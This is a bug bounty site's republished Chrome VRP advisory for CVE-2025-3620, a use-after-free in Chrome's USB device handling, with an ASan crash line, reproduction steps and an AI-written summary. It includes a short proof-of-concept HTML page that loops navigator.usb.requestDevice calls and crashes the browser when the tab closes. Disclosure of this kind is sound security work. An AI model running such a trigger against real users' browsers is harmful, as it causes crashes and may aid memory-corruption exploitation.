Skip to content
Memory corruption Advisory Advanced CVE-2025-3620

Use after free in USB (CVE-2025-3620)

A use-after-free memory corruption was found in Chrome's USB device handling. An attacker could potentially crash the browser by repeatedly requesting USB devices and then closing the tab, though exploitability is uncertain.

retsew0x01 Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 26 days

Report description

AddressSanitizer: heap-use-after-free on address 0x7da147715900 at pc 0x55baa6985542 bp 0x7ffe146adfd0 sp 0x7ffe146adfc8


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

This crash was found while reproducing https://issues.chromium.org/issues/40074794.

AddressSanitizer: heap-use-after-free on address 0x7da147715900 at pc 0x55baa6985542 bp 0x7ffe146adfd0 sp 0x7ffe146adfc8

Crash type

browser crash

ENV

ubuntu 22.04.1

Reproduce steps:

  1. open the poc.html in chromium-asan
<html>
<head>
  <script>
    async function main() {
	
      dev = null;
      await navigator.usb
        .requestDevice({ filters: [] })
        .then((usbDevice) => {
          dev = usbDevice;
          console.log(`Product name: ${usbDevice.productName}`);
		  for (var i=1;i<10000;i++){
				navigator.usb
				.requestDevice({ filters: [] })
				.then((usbDevice) => {
			});
		}
    });
      
	}
  </script>
</head>
<body>
  <button onclick="main()">click me</button>
</body>
</html>
  1. click button click me and select a device, then click connect
  2. Try close the tab, then UAF

Please briefly explain who can exploit the vulnerability, and what they gain when doing so

I'm not sure if we can exploit it.


The cause

What version of Chrome have you found the security issue in?

136.0.7079.0 chromium-asan-linux

Is the security issue related to a crash?

Yes, it is related to a crash.

Choose the type of vulnerability

Memory Corruption (in a sandboxed processs)

How would you like to be publicly acknowledged for your report?

retsew0x01

The original report as published on the Chromium issue tracker, by @retsew0x01. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a use-after-free in the USB device handling code, triggered by repeated device requests and tab closure.

Impact

The vulnerability could cause a browser crash, but the reporter is unsure if it can be exploited for more than a denial of service.

What the attacker needed

Victim visits a malicious page; victim selects a USB device; victim closes the tab

How it was found

  1. Open the provided HTML file in a Chromium ASAN build.
  2. Click the button and select a USB device, then click connect.
  3. Close the tab to trigger the use-after-free.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free is a type of memory bug where a program keeps using memory after it has been freed, which can lead to crashes or worse. Here, the browser's code for handling USB devices had this flaw, and an attacker could trigger it by making many USB requests and then closing the tab, causing the browser to crash.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by retsew0x01

View all

8 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.